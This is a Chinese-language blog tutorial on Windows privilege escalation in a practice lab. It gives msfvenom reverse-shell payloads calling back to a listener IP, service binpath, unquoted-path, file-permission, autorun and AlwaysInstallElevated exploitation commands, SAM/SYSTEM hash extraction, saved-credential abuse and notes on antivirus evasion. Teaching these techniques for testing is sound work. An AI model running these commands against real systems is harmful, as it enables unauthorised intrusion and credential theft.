滲透測試重新打底(8)--Windows 提權手法


Posted by kahatrix on 2023-09-22

最簡單我們就先用msfxxx產生一個exe的檔案,那這邊的payload我是使用windows/x64/shell_reverse_tcp,這是一個bind shell,就是一個蠻巨大的檔案,他就不會有說兩階段,但是有的時候會比較穩定一點。像如果是一般兩階段的話。他會是windows/x64/shell/reverse_tcp。你為了要跟這個netcat shell對接,拿一個reverse shell對接所有的功能,所以他會產生一個比較大的檔案,因為他所有功能都得包在裡面。那這個shell/reverse_tcp他不一樣,如果用這樣一個payload,你就必須用MSF的multi-handler功能,因為他這邊所產生出來的reverse tcp他會是一個比較小的exe,這個exe他只做一件事,就是去跟這個MSF的multi-handler做對接。對接完之後還會有下一階段,這一個handler他會傳東西,他會傳第二階段的,我們叫stage 2的payload回到這個small exe,也就是我們的目標主機,那這個stage 2的payload才是真正要執行來做shell對接的東西。那當然這兩個各有好處,產生比較小的exe檔案被抓到的機率會比較小,實務上其實是都會被抓到,只是說這個檔案比較小,照理來說他相對更隱蔽一點。那第二個這種產生一大包東西,照理來說應該更容易被抓到,但是如果今天你的目標他有防火牆,他會去檢驗所有傳進去傳出來的檔案的話,這個stage2 payload基本上一定會被抓到。那如果你今天是一個完整功能的binary,那你會傳出去的東西也只有你的MSF console的traffic,隱蔽性稍微比較好一點。

那這邊的lport我是根據他課程中的建議,那我也就跟他用53。

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.71.25 LPORT=53 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe

如果說你是打lab特別是考試的話,在這種reverse shell的地方我會比較建議你在這個地方使用shell或者是shell的reverse tcp,雖然這樣子檔案比較大一點,但是你可以直接用netcat做對接,就是最沒有犯規(自動攻擊)嫌疑。

那接下來要想辦法做一個File Transfer,要把這個Kali裡面的檔案傳到這個Windows底下,之後如果說我們要提權的話,我們就可以指定說我要你這個高權限的使用帳戶去執行我的檔案。那這個檔案要放在哪呢,這個範例我是把它放在C:\PrivEsc這個資料夾。要怎麼做File Transfer,在做File Transfer的時候有幾個方法。當然你可以說我去設定一個Web server,然後我在這種UI裡面開一個網頁然後下載。也可以用像是CURL這樣的工具,但不一定每一台機器都有。Kali有一個好工具,是impacket底下的一個工具叫smberver.py,透過SMB這個protocol來做File Transfer。你看這邊這個command:

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

這個command會開啟一個SMB share,那我這邊的名字設為Kali。最右邊這個點是什麼意思呢? 就是說你從遠端連上來我這個Kali之後,你所面對的資料夾就是這個指令執行時的目錄。

┌──(kali㉿kali)-[~/THM]
└─$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
[sudo] password for kali: 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

基本上你看到上面這樣子就是成功的開啟了一個server。我們接下來就是要透過Windows來連上它,我們的目的是撈資料嘛,我們來看一下windows目前是C\users\user的資料夾:

aaa

┌──(kali㉿kali)-[~/THM]
└─$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
[sudo] password for kali: 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.96.153,49903)
[*] AUTHENTICATE_MESSAGE (WIN-QBA94KB3IOF\user,WIN-QBA94KB3IOF)
[*] User WIN-QBA94KB3IOF\user authenticated successfully
[*] user::WIN-QBA94KB3IOF:aaaaaaaaaaaaaaaa:5c3006bb16c9314d745c2d437700b0c9:010100000000000080743a5456c8d901a408a9d353668d170000000001001000650057004a006b006f0066004500620003001000650057004a006b006f00660045006200020010007500730062004c006900550066005a00040010007500730062004c006900550066005a000700080080743a5456c8d90106000400020000000800300030000000000000000000000000200000b8473736e472a79b8d0456d1b735f0582f49938ecf1e722da115a51382086a140a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310038002e00370031002e0032003500000000000000000000000000
[-] Unknown level for query path info! 0x109

我們在Windows CMD可以用copy然後IP加上這個Kali,也就是我們的SMB share name,再配上我們的檔案,然後我們可以比如說指定到C:\users\user\rev.exe:

這邊用這個rev.exe做測試

這邊可以看到kali先開了一個nc然後一樣帶的參數是nlvp配上port是53,可以看到他馬上就回來了,所以可以證實說這一個shell是成功的

┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 53
[sudo] password for kali:
listening on [any] 53 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.96.153] 49936
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\user>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 54A8-AA62

 Directory of C:\Users\user

08/06/2023  04:08 AM    <DIR>          .
08/06/2023  04:08 AM    <DIR>          ..
06/05/2020  08:38 AM    <DIR>          3D Objects
06/05/2020  08:38 AM    <DIR>          Contacts
08/19/2020  11:06 AM    <DIR>          Desktop
06/05/2020  08:38 AM    <DIR>          Documents
06/05/2020  08:38 AM    <DIR>          Downloads
06/05/2020  08:38 AM    <DIR>          Favorites
06/05/2020  08:38 AM    <DIR>          Links
06/05/2020  08:38 AM    <DIR>          Music
06/05/2020  08:38 AM    <DIR>          Pictures
08/06/2023  04:03 AM             7,168 rev.exe
06/05/2020  08:38 AM    <DIR>          Saved Games
06/05/2020  08:38 AM    <DIR>          Searches
06/05/2020  08:38 AM    <DIR>          Videos
               1 File(s)          7,168 bytes
              14 Dir(s)  31,292,624,896 bytes free

接下來我們就會介紹一些windows提權時候的思路以及工具。下一個要介紹的是攻擊windows的service,那可能大家會問說什麼是service。基本上跟linux一樣,就是很簡單就是一個常駐存在在系統的服務,用中文說的話就是後台服務。這個後台服務跟linux不太一樣,linux通常你開一個服務,他會專門開給你的account去專門針對這個服務。比如說比如說SQL好了,他可能問你你這個linux主機有SQL的service,他可能會開一個SQL的account,但是windows不會。

如果windows有這種後台服務,基本上都是由最高權限或是更高權限的account來執行的,那每個service一定會有自己的configuration,那我們這一篇就是要來尋找這些有錯誤的configuration。如果你config錯的話好像看是不會有什麼問題,但其實不是。如果你設定錯了,會提供攻擊者一些提權的機會。

因為在linux我們提過了有像是linux exploit suggestor,那在windows底下也有。這些工具基本上是在power shell底下run的。這邊提供一款叫PowerUp.ps1,他是在power shell上面跑,然後可以找出你系統上可能可以做提權的點的script。

在這個地方linux跟windows有個不一樣的地方,就是你平常linux的話你就可以比如說這樣執行powerup.ps1(./powerup.ps1),windows的話因為這個powerup是以module的形式寫出來的,所以我們要去import這個library。那他有幾個方法第一個是iex然後powerup.ps1,iex叫invoke expression,可以去跑一個command也好,跑一個檔案去做import都可以(iex .\PowerUp.ps1)。更懶一點的就是一個點然後空格,點斜線powerup.ps1(. .\PowerUp.ps1),那如果你比較勤勞的話可以打他的完整指令,Import-Module .\PowerUp.ps1

因為powerup其實是個library,所以上面指令按完Enter後要呼叫他的function才會動作。那我們來執行一下Invoke-AllChecks:

PS C:\PrivEsc> . .\PowerUp.ps1

PS C:\PrivEsc> Invoke-AllChecks

[*] Running Invoke-AllChecks


[*] Checking if user is in a local group with administrative privileges...


[*] Checking for unquoted service paths...


ServiceName   : AWSLiteAgent
Path          : C:\Program Files\Amazon\XenTools\LiteAgent.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'AWSLiteAgent' -Path <HijackPath>

ServiceName   : unquotedsvc
Path          : C:\Program Files\Unquoted Path Service\Common 
                Files\unquotedpathservice.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'unquotedsvc' -Path <HijackPath>





[*] Checking service executable and argument permissions...


ServiceName    : filepermsvc
Path           : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile : C:\Program Files\File Permissions Service\filepermservice.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'filepermsvc'





[*] Checking service permissions...


ServiceName   : daclsvc
Path          : "C:\Program Files\DACL Service\daclservice.exe"
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'daclsvc'





[*] Checking %PATH% for potentially hijackable .dll locations...


HijackablePath : C:\Temp\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Temp\\wlbsctrl.dll' -Command '...'

HijackablePath : C:\Users\user\AppData\Local\Microsoft\WindowsApps\
AbuseFunction  : Write-HijackDll -OutputFile 
                 'C:\Users\user\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' 
                 -Command '...'





[*] Checking for AlwaysInstallElevated registry key...


OutputFile    : 
AbuseFunction : Write-UserAddMSI





[*] Checking for Autologon credentials in registry...


[*] Checking for vulnerable registry autoruns and configs...


Key            : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program
Path           : "C:\Program Files\Autorun Program\program.exe"
ModifiableFile : C:\Program Files\Autorun Program\program.exe





[*] Checking for vulnerable schtask files/configs...


[*] Checking for unattended install files...


UnattendPath : C:\Windows\Panther\Unattend.xml





[*] Checking for encrypted web.config strings...


[*] Checking for encrypted application pool and virtual directory passwords...

可以看到這個script在這執行,基本上每一個星號意思就是說他在檢查一樣東西。說checking for unquoted service paths就是在檢查一個東西,checking user在這個local group是admin的local group,如果像這樣沒有東西那就是行不通的,沒有找到一個可行性的提權攻擊。

[*] Checking for unquoted service paths...


ServiceName   : AWSLiteAgent
Path          : C:\Program Files\Amazon\XenTools\LiteAgent.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'AWSLiteAgent' -Path <HijackPath>

ServiceName   : unquotedsvc
Path          : C:\Program Files\Unquoted Path Service\Common 
                Files\unquotedpathservice.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'unquotedsvc' -Path <HijackPath>

那像這邊unquoted service paths,他在下面說這邊有兩個,那就是一個有機會可以做提權,而且他也告訴你說你這邊你可以用怎麼樣的function去做提權,等於是直接告訴你這個提權要怎麼樣去做,就是透過這個Write-ServiceBinary。

[*] Checking service executable and argument permissions...


ServiceName    : filepermsvc
Path           : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile : C:\Program Files\File Permissions Service\filepermservice.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'filepermsvc'

那再來比如說像是checking service executable跟argument permission,這邊也有對應的abuse function,就是怎麼樣去攻擊他然後做提權。

那接下來我們就是要來一個一個介紹他背後原理是什麼,我們可以怎麼樣去利用他。那我們第一個要介紹的是insecure service permission:

[*] Checking service permissions...


ServiceName   : daclsvc
Path          : "C:\Program Files\DACL Service\daclservice.exe"
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'daclsvc'

powerup告訴我們daclsvc存在insecure service permission,我們先來了解一下他是怎麼樣的insecure,以及他的permission又是怎麼一回事。我們要了解一個service,可以用一個工具叫access check:

PS C:\PrivEsc> C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
RW daclsvc
    SERVICE_QUERY_STATUS
    SERVICE_QUERY_CONFIG
    SERVICE_CHANGE_CONFIG
    SERVICE_INTERROGATE
    SERVICE_ENUMERATE_DEPENDENTS
    SERVICE_START
    SERVICE_STOP
    READ_CONTROL

我們基本上就可以看到說user這一個使用者針對daclsvc的使用權限包含了這麼多東西,有query status、query config,這邊有幾個很重要的,一個是這個change config,可以去更改config內容以及可以去啟動跟停止這一個service,所以基本上是所有的事情都可以做。

那知道我們現在的這個使用者可以去改這一個service,那在windows裡面有一個工具叫sc,其實就是service,他可以來查看一個service詳細內容是什麼,以及可以做更動。

c:\PrivEsc>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\DACL Service\daclservice.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DACL Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

大家要注意sc只能在cmd裡面去跑,所以就是你要在powershell先跑完,知道這個service有問題然後進cmd去做query看他詳細的內容。那這個地方有幾個重點,我們的重點就是我們要更改這一個binary path的名字,像現在是program file然後daclservice然後這個exe,那我們就是要把它改成我們剛剛產生出來的我們的reverse shell執行檔的路徑。我們一樣可以透過sc這個工具去改,只是記得說他的這個binpath,就是對應的binary path name,這邊他的參數是叫binpath,特別注意等於後面一定要帶一個空格,他才能改成功。

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

Config完成之後,使用net start daclsvc啟動服務,可以看到shell就會回來了,而且權限為SYSTEM權限:

那這個時候我們要注意一下,剛剛提到就是像這種service通常是由高權限來做,所以我們下whoami指令的時候,可以看到就是很漂亮的nt authority\system,而且我們的資料夾位置是在Windows System32這種只有admin能夠進去的資料夾。

因為剛剛在我們在run powerup在insecure service permission的部分有提供一個什麼invoke service abuse,他有兩種執行方法,一個就是invoke service abuse然後搭配你的svc的名稱,在這個範例中就是daclsvc。那這會做什麼事情呢? Powerup他會幫你新增一個local admin的帳號,那帳號名稱固定就是john,然後password123驚嘆號,那你也可以客製化你說你要的comment,比如說像這個地方invoke service abuse然後配上我的svc的名稱,這邊加一個command,就是說我要執行什麼:

## 新增一個local admin - john:Password123!
Invoke-ServiceAbuse -Name VulnSVC

## 將binpath設定成指定command
Invoke-ServiceAbuse -Name VulnSVC -Command "C:\PrivEsc\reverse.exe"

那我要執行這個reverse.exe也是可以的,基本上跟我們剛剛做的事情一樣,就是把他複寫並且去執行。如果你在powershell import了powerup然後跑這個command,你就會得到一個shell。

下一個要講的是unquoted service path,那這個是tryhackme的lab 4,我們先講一下概念。一個service提供自己的binary path,需要提供一個完整的路徑,如果你沒有雙引號告訴Windows完整路徑的話,會讓攻擊者有攻擊的機會。為什麼? 因為對於Windows來說,一個兩邊沒有quoted起來的path:

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
你可以被下面這些東西取代:

C:\Program.exe
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path Service\Common.exe

所以我們接下來要做的事情很簡單,我們只要串一個檔案就好了,就是這個common.exe,這個地方唯一要注意的事情就是目前這個user對這些folder有沒有寫入的權限。那在這個範例中,我們可以針對這個unquoted.patch.service做寫入,所以我們也就理當可以寫一個common.exe,然後用這個net start,或是sc start把這個unquotedsvc打開,他就會進到他的binary path去找。

將reverse shell檔案複製成 "C:\Program Files\Unquoted Path Service\Common.exe"

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

嘗試打開unquotedsvc service,即可拿到SYSTEM Shell:

net start unquotedsvc

## 也可以使用sc打開
sc start unquotedsvc

這邊PowerUp也提供了攻擊方法:

Write-ServiceBinary -ServiceName 'unquotedsvc' -Path <HijackPath>

成功執行的話他一樣就是會幫你創一個local admin,然後帳號密碼也是john/password123!。

這個跟我們上個禮拜講Linux提權中的沒有完整路徑其實有一點點類似,今天這個是他沒有quota所以容易被取代,上週講的Linux是擺一個容易先被search到的binary他就被執行了。其實兩個概念非常像所以這種攻擊絕對路徑的手法也是存在Windows以及Linux底下的。

接下來是Task 6,這一個漏洞相對簡單一點:

[*] Checking service executable and argument permissions...


ServiceName    : filepermsvc
Path           : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile : C:\Program Files\File Permissions Service\filepermservice.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'filepermsvc'

他這邊的意思是這一個service的執行檔可以被其他低權限的使用者去改寫,那他這邊有問題的service名字叫filepermsvc。我們用sc來看,乍看之下這一個service好像沒有什麼問題,他有好好的quot,但是我們可以透過access check來稍微查看一下:

可以看到在output下面寫了file all access,就是說我這個user把filepermservice.exe這個binary你要我把它怎麼改都可以,那這就是這個漏洞存在的地方。

這樣的話我們要怎麼樣去攻擊? 也很簡單,我們就直接把這個我們的reversal檔案把它copy到這個filepermsvc.exe最後面一個/y,就是說確定要覆蓋就可以了。

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start filepermsvc

PowerUp也提供了install service binary的攻擊方式,他的思路一樣是創造一個admin帳戶,是john/Password123!,那他的做法是把原本binary備份起來,然後替換成一個新增local admin user的binary:

Install-ServiceBinary -ServiceName 'filepermsvc'

可以看這個連結: Install-ServiceBinary - PowerSploit,但基本上思路都一樣,就是新增一個使用者帳戶,或者是執行我指定的command。這個時候你也可以指定說我要執行一個power shell的reverse shell或者是怎麼樣都可以。

我們接下來要講的是registry,跟linux不太一樣的地方,是在windows系統存在一個叫registry,它要記錄一些系統的必要參數。舉一個簡單的例子好了,比如說我們系統開機的時候有需要一起打開執行檔,比如說可能你有什麼service,或者是你想要設定說windows一打開就執行你的antivirus、edr或者firewall。windows要怎麼樣去記錄你預設的瀏覽器,這些都是透過registry這樣的機制來達成的。

每一個registry會由一個key跟一個value來組成,那在一組registry裡面,可以包含子registry所以它是一個樹狀結構,比如說在browser裡面,它可能會有default browser,或者是說它的browser file location,那記得每一組都是一個key跟value的這樣成雙成對的出現:

Browser
   |
   |
    -- DefaultBrowser:Chrome
    -- FileLocation:"C:\Program Files\Chrome\Chrome.exe"
          |
          |
           -- ....
    ...

那我們要怎麼樣去看有哪些registry呢? 我們可以透過windows內建的regedit,就是registry的edit。我們剛剛有提到開機的時候一起啟動的這樣的功能,是透過一個叫autorun的registry keypair來達成的,它的位置有一點複雜:

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

這樣的一個keypair裡面,我們可以進去稍微看一下它大概長什麼樣子:

可以看到說在run這個registry裡面它有兩個子registry,My Program跟SecurityHealth。

這種開機啟動的功能,其實是可以拿來做persistence(持久性控制)。因為你常常說拿到了一個shell之後,如果人家一重新開機你的shell就不見了,所以可以透過registry那種autorun的方法來達成持久性控制。惡意程式也相當喜歡這一個registry,因為它可以確保自己被重新開機之後仍然能夠被啟動。

在lab 7裡,這台Windows VM的My Program所指向的執行檔為可寫入的,我們用access check來稍微看一下:

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

可以看到所有人都可以做all access,那這件事情就跟剛剛提到的是一樣的。所以攻擊方式一樣只要把剛剛的reverse.exe複製成這一串exe檔案就可以了:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

跟剛剛不一樣的是,如果你要攻擊autorun的話,你就是得重開vm。

下面這個github的page是一個攻擊的方法( GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 ),它寫了一個binary去針對這個方法進行攻擊這個binary名字叫PrintSpoofer。它是怎麼樣來攻擊呢,它是針對攻擊一個user如果擁有SeImpersonatePrivilege的話,可以看到它在這邊用whoami /priv,然後這邊看到有一個SeImpersonatePrivilege的話,你就可以拿這個binary來做攻擊。

攻擊畫面:

那通常什麼情況會出現這樣的privilege呢? 它通常會存在在service account。原理簡單介紹一下,假設你今天有個frontend跟backend,那你在access frontend的時候,frontend要拿著你的username password去跟你的後台做query。那如果說這個frontend跟backend不是在同一台機器底下,比如說web是一台、前端是一台、後端也是一台機器。那如果你剛好又是在active directory的管理底下的話,那frontend account它可能是比如說web01,web的一個account,它可以透過這個SeImpersonatePrivilege去冒充我要登入的使用者,然後去後台去做一個query,然後去拿它該有的資料,所以才會有這樣的privilege出現。

那接下來我們仍然要講一個registry,它叫做alwaysInstallElevated,那它這個特性是什麼? 在windows系統它能夠讓低權限的使用者也能夠使用高權限的使用者來安裝一個msi的檔案。msi是安裝檔,可以幫助你比較容易安裝一個程式或是service。這邊的思路就很簡單,我們就產一個惡意的reverse shell,把它包成msi,就可以透過這個always install elevated去安裝它。那安裝的時候馬上就會安裝一個shell回來。

[*] Checking for AlwaysInstallElevated registry key...


OutputFile    : 
AbuseFunction : Write-UserAddMSI

先用reg查看AlwaysInstallElevated的值:

結果出來都為1,代表能夠使用AlwaysInstallElevated。

可以以高權限來安裝一個msi檔案。這個時候我們就要來產出一個惡意的msi檔案,可以用msfvenom來做這件事情:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.57.137 LPORT=53 -f msi -o reverse.msi

這個同時要記得先把我們的shell給打開來:

sudo nc -nlvp 53

Windows複製MSI檔案: (要先弄smbshare.py)

copy \\10.11.57.137\kali\reverse.msi c:\privesc\

利用msiexec來安裝我們的惡意MSI檔案,

## /quiet - quiet mode
## /qn - no user interaction
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

成功拿shell:

那這個registry的話,不太可能說直接自己一個一個去爬然後去抓,就是透過像這種powerup的工具來去把它抓出來,不過他的思路其實跟剛剛的service其實蠻像的,都是在利用這種權限配置錯誤做提權。那唯一比較特別的就可能是剛剛提到的這個PrintSpoofer,這個真的很重要,個人認為非常實用。如果考試是active directory的狀況下,兩台的話很有可能一台就會是這種frontend service,透過這種提權拿到了system account,然後可能再去做更多的enumeration,個人覺得可能會是考點,不保證但是我覺得蠻有可能的。

那最後一個我們要講的是針對密碼還有Task的攻擊。Linux底下有這個/etc/password還有shadow這個檔案,那在Windows系統之中也有一樣的東西,叫Security Account Manager,簡稱SAM,然後還有一個叫System。這兩個檔案很重要,因為我們可以透過這兩個檔案搭配比如說john或者是HashCat來做爆破,來讀取存在在我們目標主機所有帳號的password。

在Windows底下不會開放SAM這個檔案被讀取,雖然說default是不能被讀取,但我們可以透過像是Mimikatz或是Meterpreter這樣的工具來讀取SAM檔案。在這個lab之中我們來看一下,當然他這個lab是設計好的,他在Windows Repair資料夾底下這兩個檔案就被備份在這裡,所以我們要做的事情就是把這兩個檔案copy到我們的Kali裡面:

copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

然後再用像是Creddump這樣的工具把它合併成Hashcat能看懂的形式:

git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM

執行結果:

稍微介紹一下這個format。Windows他的定義的話,第一個叫做LM,然後第二個叫NTLM。基本上我們不會用到LM,因為你可以看到這幾個都長得都一樣,都是什麼aad3,唯一不一樣的是第二欄這個NTLM,這個才是真正跟你儲存密碼有關的部分。

下一個要講的就是password abuse,就是跟linux做一樣的事情。就是提供一些能夠去找明文password這個字串、在怎麼樣的檔案類型去找指定的字串。其實都很像,只是這邊我提供了一些可能可以去嘗試去搜尋的,比如說pass,或者是cred或是什麼config都可以。

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

cmdkey這個東西比較特別,是windows server之中才有的,那這個比較少見。大家可以看到說他這並不是明文密碼,就是一串不知道什麼東西,我們要借用的概念是,你可以把他想成說在這個command line裡面他已經完成了授權,我們可以透過runas這樣的工具直接變成admin,然後不需要密碼。

cmdkey /list

執行結果:

我們搭配的是要用這個savecred、admin,然後要執行的程式,直接變成admin user:

runas /savecred /user:admin C:\PrivEsc\reverse.exe

schedule tasks的概念就跟linux的cronjob一樣,windows自己的cronjob叫task。task的概念就是,如果你有這種task script的話你可以去找他的config或者是尋找password,這邊也提供了一些command大家可以去測試一下:

schtasks /query /fo LIST
schtasks /query /fo LIST /v

你說要做免殺,那我們先想一下免殺他要殺一些什麼。一定就是殺一些病毒或者是攻擊,那這個免殺他真正要依靠的事情是什麼,是依靠你要真的檔案要落地。一個檔案要存在disk上面,防毒軟體才能去抓你這個檔案,拿來做掃描或者是拿來做行為偵測,掃描到才會做查殺。像這種攻擊Office的CVE,防毒軟體肯定會知道。這個時候你有三種選擇,第一種是你非常厲害,做了Encode又Encrypt把他層層包起來,之前好像有看過一個案例,apt然後他就透過RTF Encode。簡單說就是有攻擊者他針對了Equation Editor這一個軟體,特地構造了一個RTF檔案,這個RTF檔案首先攻擊了這個軟體之後,可以跑他塞在裡面的Shellcode,這個Shellcode又經過層層加密,所以防毒軟體一開始是找不到的。

那第二種就是你直接拿到System的權限然後把防毒給關了,這個比較不切實際就是有點雞生蛋蛋生雞的問題,所以我們接下來要談的就是第三種,要怎麼樣去不落地,比如說以Word或者是PowerShell這種跑Macro的Office來說,他的思路大概就是你可以在Macro裡面去跑PowerShell的Command。既然你不要落地又要想辦法執行,你只能透過像這種Macro的方式。

那這個PowerShell的Command,可能是我們上週所提到的,就是做一些Bypass然後去遠端執行你的PowerShell或是防毒軟體的Bypass。那這樣有什麼好處,第一個,你的這個Word檔案他雖然落地了,可是他只拿到一串IP防毒軟體沒有辦法只看這個IP就知道這個IP是惡意的,或者是說你可以做一個XOR或者是怎麼樣字串的處理,把這個IP隱藏起來,讓防毒軟體誤以為是其他的IP或是一個字串,那這些就是做混淆。做混淆讓你存在在這個Word macro巨集裡面的文字看起來是非惡意的,那這大概是一個思路。你的免殺方法大概就是這三種,應該不太會落到其他的地方。

impacket真的是非常強大,不管是SMB或這種server,很多的攻擊其實都跟他有關係,包含針對active directory,他這邊很多的檔案都是針對Windows AD所寫的,包含你看像這種mimikatz,或者是剛剛我們提到的smbserver.py或是smbexec.py,如果你做Windows AD的滲透測試你基本上離不開這個impacket這個工具。










Related Posts

React 入門 4 - Hooks: useState

React 入門 4 - Hooks: useState

「新手問題」為什麼我不能下載 npm 的套件?

「新手問題」為什麼我不能下載 npm 的套件?

Day 23-Turtle Crossing Game

Day 23-Turtle Crossing Game


Comments